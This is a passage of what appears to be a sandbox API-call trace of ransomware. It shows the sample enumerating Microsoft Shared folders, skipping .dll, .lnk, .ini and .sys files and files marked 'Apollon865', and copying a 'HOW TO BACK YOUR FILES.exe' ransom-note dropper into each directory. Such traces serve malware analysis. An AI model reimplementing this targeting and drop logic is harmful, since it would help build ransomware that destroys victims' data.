	[0077.220] lstrcmpiW (lpString1="MS.PNG", lpString2=".ini") returned 1
	[0077.220] lstrlenW (lpString=".sys") returned 4
	[0077.220] lstrcmpiW (lpString1="MS.PNG", lpString2=".sys") returned 1
	[0077.220] lstrlenW (lpString="MS.PNG") returned 6
	[0077.220] lstrcpyW (in: lpString1=0x2d3e5be, lpString2="MS.WPG" | out: lpString1="MS.WPG") returned="MS.WPG"
	[0077.220] lstrlenW (lpString="MS.WPG") returned 6
	[0077.220] lstrlenW (lpString="Apollon865") returned 10
	[0077.226] lstrlenW (lpString=".dll") returned 4
	[0077.226] lstrcmpiW (lpString1="MS.WPG", lpString2=".dll") returned 1
	[0077.226] lstrlenW (lpString=".lnk") returned 4
	[0077.226] lstrcmpiW (lpString1="MS.WPG", lpString2=".lnk") returned 1
	[0077.226] lstrlenW (lpString=".ini") returned 4
	[0077.226] lstrcmpiW (lpString1="MS.WPG", lpString2=".ini") returned 1
	[0077.226] lstrlenW (lpString=".sys") returned 4
	[0077.226] lstrcmpiW (lpString1="MS.WPG", lpString2=".sys") returned 1
	[0077.227] lstrlenW (lpString="MS.WPG") returned 6
	[0077.227] lstrcpyW (in: lpString1=0x2d3e5be, lpString2="PICTIM32.FLT" | out: lpString1="PICTIM32.FLT") returned="PICTIM32.FLT"
	[0077.227] lstrlenW (lpString="PICTIM32.FLT") returned 12
	[0077.227] lstrlenW (lpString="Apollon865") returned 10
	[0077.227] lstrcmpiW (lpString1="CTIM32.FLT", lpString2="Apollon865") returned 1
	[0077.227] lstrlenW (lpString=".dll") returned 4
	[0077.227] lstrcmpiW (lpString1="PICTIM32.FLT", lpString2=".dll") returned 1
	[0077.227] lstrlenW (lpString=".lnk") returned 4
	[0077.227] lstrcmpiW (lpString1="PICTIM32.FLT", lpString2=".lnk") returned 1
	[0077.227] lstrlenW (lpString=".ini") returned 4
	[0077.227] lstrcmpiW (lpString1="PICTIM32.FLT", lpString2=".ini") returned 1
	[0077.227] lstrlenW (lpString=".sys") returned 4
	[0077.227] lstrcmpiW (lpString1="PICTIM32.FLT", lpString2=".sys") returned 1
	[0077.227] lstrlenW (lpString="PICTIM32.FLT") returned 12
	[0077.227] lstrcpyW (in: lpString1=0x2d3e5be, lpString2="PNG32.FLT" | out: lpString1="PNG32.FLT") returned="PNG32.FLT"
	[0077.227] lstrlenW (lpString="PNG32.FLT") returned 9
	[0077.227] lstrlenW (lpString="Apollon865") returned 10
	[0077.227] lstrlenW (lpString=".dll") returned 4
	[0077.227] lstrcmpiW (lpString1="PNG32.FLT", lpString2=".dll") returned 1
	[0077.227] lstrlenW (lpString=".lnk") returned 4
	[0077.227] lstrcmpiW (lpString1="PNG32.FLT", lpString2=".lnk") returned 1
	[0077.227] lstrlenW (lpString=".ini") returned 4
	[0077.227] lstrcmpiW (lpString1="PNG32.FLT", lpString2=".ini") returned 1
	[0077.227] lstrlenW (lpString=".sys") returned 4
	[0077.227] lstrcmpiW (lpString1="PNG32.FLT", lpString2=".sys") returned 1
	[0077.227] lstrlenW (lpString="PNG32.FLT") returned 9
	[0077.228] lstrcpyW (in: lpString1=0x2d3e5be, lpString2="WPGIMP32.FLT" | out: lpString1="WPGIMP32.FLT") returned="WPGIMP32.FLT"
	[0077.228] lstrlenW (lpString="WPGIMP32.FLT") returned 12
	[0077.228] lstrlenW (lpString="Apollon865") returned 10
	[0077.228] lstrcmpiW (lpString1="GIMP32.FLT", lpString2="Apollon865") returned 1
	[0077.228] lstrlenW (lpString=".dll") returned 4
	[0077.228] lstrcmpiW (lpString1="WPGIMP32.FLT", lpString2=".dll") returned 1
	[0077.228] lstrlenW (lpString=".lnk") returned 4
	[0077.228] lstrcmpiW (lpString1="WPGIMP32.FLT", lpString2=".lnk") returned 1
	[0077.228] lstrlenW (lpString=".ini") returned 4
	[0077.228] lstrcmpiW (lpString1="WPGIMP32.FLT", lpString2=".ini") returned 1
	[0077.228] lstrlenW (lpString=".sys") returned 4
	[0077.228] lstrcmpiW (lpString1="WPGIMP32.FLT", lpString2=".sys") returned 1
	[0077.228] lstrlenW (lpString="WPGIMP32.FLT") returned 12
	[0077.228] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters", iMaxLength=260 | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters"
	[0077.228] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0077.228] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c28 | out: hHeap=0x580000) returned 1
	[0077.228] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters") returned 54
	[0077.228] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters"
	[0077.228] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0077.228] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0077.233] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0077.233] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5969b6f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x461aca30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x461aca30, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0077.233] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0077.233] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0077.233] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0077.233] lstrcpyW (in: lpString1=0x2d3e5be, lpString2="msgfilt.dll" | out: lpString1="msgfilt.dll") returned="msgfilt.dll"
	[0077.233] lstrlenW (lpString="msgfilt.dll") returned 11
	[0077.233] lstrlenW (lpString="Apollon865") returned 10
	[0077.234] lstrcmpiW (lpString1="sgfilt.dll", lpString2="Apollon865") returned 1
	[0077.234] lstrlenW (lpString=".dll") returned 4
	[0077.234] lstrcmpiW (lpString1="msgfilt.dll", lpString2=".dll") returned 1
	[0077.234] lstrlenW (lpString=".lnk") returned 4
	[0077.234] lstrcmpiW (lpString1="msgfilt.dll", lpString2=".lnk") returned 1
	[0077.234] lstrlenW (lpString=".ini") returned 4
	[0077.234] lstrcmpiW (lpString1="msgfilt.dll", lpString2=".ini") returned 1
	[0077.234] lstrlenW (lpString=".sys") returned 4
	[0077.234] lstrcmpiW (lpString1="msgfilt.dll", lpString2=".sys") returned 1
	[0077.234] lstrlenW (lpString="msgfilt.dll") returned 11
	[0077.234] lstrcpyW (in: lpString1=0x2d3e5be, lpString2="odffilt.dll" | out: lpString1="odffilt.dll") returned="odffilt.dll"
	[0077.234] lstrlenW (lpString="odffilt.dll") returned 11
	[0077.234] lstrlenW (lpString="Apollon865") returned 10
	[0077.234] lstrcmpiW (lpString1="dffilt.dll", lpString2="Apollon865") returned 1
	[0077.234] lstrlenW (lpString=".dll") returned 4
	[0077.234] lstrcmpiW (lpString1="odffilt.dll", lpString2=".dll") returned 1
	[0077.234] lstrlenW (lpString=".lnk") returned 4
	[0077.234] lstrcmpiW (lpString1="odffilt.dll", lpString2=".lnk") returned 1
	[0077.234] lstrlenW (lpString=".ini") returned 4
	[0077.234] lstrcmpiW (lpString1="odffilt.dll", lpString2=".ini") returned 1
	[0077.234] lstrlenW (lpString=".sys") returned 4
	[0077.234] lstrcmpiW (lpString1="odffilt.dll", lpString2=".sys") returned 1
	[0077.234] lstrlenW (lpString="odffilt.dll") returned 11
	[0077.234] lstrcpyW (in: lpString1=0x2d3e5be, lpString2="offfiltx.dll" | out: lpString1="offfiltx.dll") returned="offfiltx.dll"
	[0077.234] lstrlenW (lpString="offfiltx.dll") returned 12
	[0077.234] lstrlenW (lpString="Apollon865") returned 10
	[0077.234] lstrcmpiW (lpString1="ffiltx.dll", lpString2="Apollon865") returned 1
	[0077.234] lstrlenW (lpString=".dll") returned 4
	[0077.234] lstrcmpiW (lpString1="offfiltx.dll", lpString2=".dll") returned 1
	[0077.234] lstrlenW (lpString=".lnk") returned 4
	[0077.234] lstrcmpiW (lpString1="offfiltx.dll", lpString2=".lnk") returned 1
	[0077.235] lstrlenW (lpString=".ini") returned 4
	[0077.235] lstrcmpiW (lpString1="offfiltx.dll", lpString2=".ini") returned 1
	[0077.235] lstrlenW (lpString=".sys") returned 4
	[0077.235] lstrcmpiW (lpString1="offfiltx.dll", lpString2=".sys") returned 1
	[0077.235] lstrlenW (lpString="offfiltx.dll") returned 12
	[0077.235] lstrcpyW (in: lpString1=0x2d3e5be, lpString2="VISFILT.DLL" | out: lpString1="VISFILT.DLL") returned="VISFILT.DLL"
	[0077.235] lstrlenW (lpString="VISFILT.DLL") returned 11
	[0077.235] lstrlenW (lpString="Apollon865") returned 10
	[0077.235] lstrcmpiW (lpString1="ISFILT.DLL", lpString2="Apollon865") returned 1
	[0077.235] lstrlenW (lpString=".dll") returned 4
	[0077.235] lstrcmpiW (lpString1="VISFILT.DLL", lpString2=".dll") returned 1
	[0077.235] lstrlenW (lpString=".lnk") returned 4
	[0077.235] lstrcmpiW (lpString1="VISFILT.DLL", lpString2=".lnk") returned 1
	[0077.235] lstrlenW (lpString=".ini") returned 4
	[0077.235] lstrcmpiW (lpString1="VISFILT.DLL", lpString2=".ini") returned 1
	[0077.235] lstrlenW (lpString=".sys") returned 4
	[0077.235] lstrcmpiW (lpString1="VISFILT.DLL", lpString2=".sys") returned 1
	[0077.235] lstrlenW (lpString="VISFILT.DLL") returned 11
	[0077.235] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO", iMaxLength=260 | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO"
	[0077.235] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5afd58 | out: hHeap=0x580000) returned 1
	[0077.235] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7928 | out: hHeap=0x580000) returned 1
	[0077.235] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO") returned 51
	[0077.235] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO"
	[0077.235] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0077.235] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\euro\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0077.249] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0077.249] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58c7d970, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x461d2b90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x461d2b90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0077.249] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0077.249] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0077.249] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0077.249] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="MSOEURO.DLL" | out: lpString1="MSOEURO.DLL") returned="MSOEURO.DLL"
	[0077.249] lstrlenW (lpString="MSOEURO.DLL") returned 11
	[0077.249] lstrlenW (lpString="Apollon865") returned 10
	[0077.249] lstrcmpiW (lpString1="SOEURO.DLL", lpString2="Apollon865") returned 1
	[0077.249] lstrlenW (lpString=".dll") returned 4
	[0077.249] lstrcmpiW (lpString1="MSOEURO.DLL", lpString2=".dll") returned 1
	[0077.249] lstrlenW (lpString=".lnk") returned 4
	[0077.249] lstrcmpiW (lpString1="MSOEURO.DLL", lpString2=".lnk") returned 1
	[0077.249] lstrlenW (lpString=".ini") returned 4
	[0077.249] lstrcmpiW (lpString1="MSOEURO.DLL", lpString2=".ini") returned 1
	[0077.249] lstrlenW (lpString=".sys") returned 4
	[0077.250] lstrcmpiW (lpString1="MSOEURO.DLL", lpString2=".sys") returned 1
	[0077.250] lstrlenW (lpString="MSOEURO.DLL") returned 11
	[0077.250] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION", iMaxLength=260 | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION"
	[0077.250] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0077.250] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7908 | out: hHeap=0x580000) returned 1
	[0077.250] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION") returned 55
	[0077.250] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION"
	[0077.250] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0077.250] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0077.303] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0077.303] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x461d2b90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x461d2b90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0077.303] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0077.303] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0077.303] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0077.303] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="1033" | out: lpString1="1033") returned="1033"
	[0077.303] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7908
	[0077.303] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x7a) returned 0x5bf4e0
	[0077.303] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7910 | out: ListHead=0x5b76b0, ListEntry=0x5b7910) returned 0x5b78f0
	[0077.303] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="EQNEDT32.CNT" | out: lpString1="EQNEDT32.CNT") returned="EQNEDT32.CNT"
	[0077.303] lstrlenW (lpString="EQNEDT32.CNT") returned 12
	[0077.303] lstrlenW (lpString="Apollon865") returned 10
	[0077.303] lstrcmpiW (lpString1="NEDT32.CNT", lpString2="Apollon865") returned 1
	[0077.303] lstrlenW (lpString=".dll") returned 4
	[0077.303] lstrcmpiW (lpString1="EQNEDT32.CNT", lpString2=".dll") returned 1
	[0077.303] lstrlenW (lpString=".lnk") returned 4
	[0077.304] lstrcmpiW (lpString1="EQNEDT32.CNT", lpString2=".lnk") returned 1
	[0077.304] lstrlenW (lpString=".ini") returned 4
	[0077.304] lstrcmpiW (lpString1="EQNEDT32.CNT", lpString2=".ini") returned 1
	[0077.304] lstrlenW (lpString=".sys") returned 4
	[0077.304] lstrcmpiW (lpString1="EQNEDT32.CNT", lpString2=".sys") returned 1
	[0077.304] lstrlenW (lpString="EQNEDT32.CNT") returned 12
	[0077.304] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="EQNEDT32.EXE" | out: lpString1="EQNEDT32.EXE") returned="EQNEDT32.EXE"
	[0077.304] lstrlenW (lpString="EQNEDT32.EXE") returned 12
	[0077.304] lstrlenW (lpString="Apollon865") returned 10
	[0077.304] lstrcmpiW (lpString1="NEDT32.EXE", lpString2="Apollon865") returned 1
	[0077.304] lstrlenW (lpString=".dll") returned 4
	[0077.304] lstrcmpiW (lpString1="EQNEDT32.EXE", lpString2=".dll") returned 1
	[0077.304] lstrlenW (lpString=".lnk") returned 4
	[0077.304] lstrcmpiW (lpString1="EQNEDT32.EXE", lpString2=".lnk") returned 1
	[0077.304] lstrlenW (lpString=".ini") returned 4
	[0077.304] lstrcmpiW (lpString1="EQNEDT32.EXE", lpString2=".ini") returned 1
	[0077.304] lstrlenW (lpString=".sys") returned 4
	[0077.304] lstrcmpiW (lpString1="EQNEDT32.EXE", lpString2=".sys") returned 1
	[0077.304] lstrlenW (lpString="EQNEDT32.EXE") returned 12
	[0077.304] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="eqnedt32.exe.manifest" | out: lpString1="eqnedt32.exe.manifest") returned="eqnedt32.exe.manifest"
	[0077.304] lstrlenW (lpString="eqnedt32.exe.manifest") returned 21
	[0077.304] lstrlenW (lpString="Apollon865") returned 10
	[0077.304] lstrcmpiW (lpString1="e.manifest", lpString2="Apollon865") returned 1
	[0077.304] lstrlenW (lpString=".dll") returned 4
	[0077.304] lstrcmpiW (lpString1="eqnedt32.exe.manifest", lpString2=".dll") returned 1
	[0077.304] lstrlenW (lpString=".lnk") returned 4
	[0077.304] lstrcmpiW (lpString1="eqnedt32.exe.manifest", lpString2=".lnk") returned 1
	[0077.304] lstrlenW (lpString=".ini") returned 4
	[0077.304] lstrcmpiW (lpString1="eqnedt32.exe.manifest", lpString2=".ini") returned 1
	[0077.304] lstrlenW (lpString=".sys") returned 4
	[0077.304] lstrcmpiW (lpString1="eqnedt32.exe.manifest", lpString2=".sys") returned 1
	[0077.304] lstrlenW (lpString="eqnedt32.exe.manifest") returned 21
	[0077.305] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="EQNEDT32.HLP" | out: lpString1="EQNEDT32.HLP") returned="EQNEDT32.HLP"
	[0077.305] lstrlenW (lpString="EQNEDT32.HLP") returned 12
	[0077.305] lstrlenW (lpString="Apollon865") returned 10
	[0077.305] lstrcmpiW (lpString1="NEDT32.HLP", lpString2="Apollon865") returned 1
	[0077.305] lstrlenW (lpString=".dll") returned 4
	[0077.305] lstrcmpiW (lpString1="EQNEDT32.HLP", lpString2=".dll") returned 1
	[0077.305] lstrlenW (lpString=".lnk") returned 4
	[0077.305] lstrcmpiW (lpString1="EQNEDT32.HLP", lpString2=".lnk") returned 1
	[0077.305] lstrlenW (lpString=".ini") returned 4
	[0077.305] lstrcmpiW (lpString1="EQNEDT32.HLP", lpString2=".ini") returned 1
	[0077.305] lstrlenW (lpString=".sys") returned 4
	[0077.305] lstrcmpiW (lpString1="EQNEDT32.HLP", lpString2=".sys") returned 1
	[0077.305] lstrlenW (lpString="EQNEDT32.HLP") returned 12
	[0077.305] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="MTEXTRA.TTF" | out: lpString1="MTEXTRA.TTF") returned="MTEXTRA.TTF"
	[0077.305] lstrlenW (lpString="MTEXTRA.TTF") returned 11
	[0077.305] lstrlenW (lpString="Apollon865") returned 10
	[0077.305] lstrcmpiW (lpString1="TEXTRA.TTF", lpString2="Apollon865") returned 1
	[0077.305] lstrlenW (lpString=".dll") returned 4
	[0077.305] lstrcmpiW (lpString1="MTEXTRA.TTF", lpString2=".dll") returned 1
	[0077.305] lstrlenW (lpString=".lnk") returned 4
	[0077.305] lstrcmpiW (lpString1="MTEXTRA.TTF", lpString2=".lnk") returned 1
	[0077.305] lstrlenW (lpString=".ini") returned 4
	[0077.305] lstrcmpiW (lpString1="MTEXTRA.TTF", lpString2=".ini") returned 1
	[0077.305] lstrlenW (lpString=".sys") returned 4
	[0077.305] lstrcmpiW (lpString1="MTEXTRA.TTF", lpString2=".sys") returned 1
	[0077.305] lstrlenW (lpString="MTEXTRA.TTF") returned 11
	[0077.305] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033", iMaxLength=260 | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033"
	[0077.305] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0077.306] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7908 | out: hHeap=0x580000) returned 1
	[0077.306] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033") returned 60
	[0077.306] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033"
	[0077.306] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0077.306] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\1033\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0077.311] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0077.312] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x4626b110, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x4626b110, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0077.312] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0077.312] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0077.312] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0077.312] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="EEINTL.DLL" | out: lpString1="EEINTL.DLL") returned="EEINTL.DLL"
	[0077.312] lstrlenW (lpString="EEINTL.DLL") returned 10
	[0077.312] lstrlenW (lpString="Apollon865") returned 10
	[0077.312] lstrlenW (lpString=".dll") returned 4
	[0077.312] lstrcmpiW (lpString1="EEINTL.DLL", lpString2=".dll") returned 1
	[0077.312] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\DW", iMaxLength=260 | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\DW") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\DW"
	[0077.312] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5afce8 | out: hHeap=0x580000) returned 1
	[0077.312] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b78e8 | out: hHeap=0x580000) returned 1
	[0077.312] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW") returned 49
	[0077.312] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\DW" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\DW") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\DW"
	[0077.312] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0077.312] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0077.387] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0077.387] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e19d30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x463297f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x463297f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0077.388] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0077.388] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0077.388] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0077.388] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="DBGHELP.DLL" | out: lpString1="DBGHELP.DLL") returned="DBGHELP.DLL"
	[0077.388] lstrlenW (lpString="DBGHELP.DLL") returned 11
	[0077.388] lstrlenW (lpString="Apollon865") returned 10
	[0077.388] lstrcmpiW (lpString1="BGHELP.DLL", lpString2="Apollon865") returned 1
	[0077.388] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="DW20.EXE" | out: lpString1="DW20.EXE") returned="DW20.EXE"
	[0077.388] lstrlenW (lpString="DW20.EXE") returned 8
	[0077.388] lstrlenW (lpString="Apollon865") returned 10
	[0077.388] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="DWTRIG20.EXE" | out: lpString1="DWTRIG20.EXE") returned="DWTRIG20.EXE"
	[0077.388] lstrlenW (lpString="DWTRIG20.EXE") returned 12
	[0077.388] lstrlenW (lpString="Apollon865") returned 10
	[0077.388] lstrcmpiW (lpString1="TRIG20.EXE", lpString2="Apollon865") returned 1
	[0077.388] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Common Files\\DESIGNER", iMaxLength=260 | out: lpString1="C:\\Program Files\\Common Files\\DESIGNER") returned="C:\\Program Files\\Common Files\\DESIGNER"
	[0077.389] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bc9b8 | out: hHeap=0x580000) returned 1
	[0077.389] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b78c8 | out: hHeap=0x580000) returned 1
	[0077.389] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER") returned 38
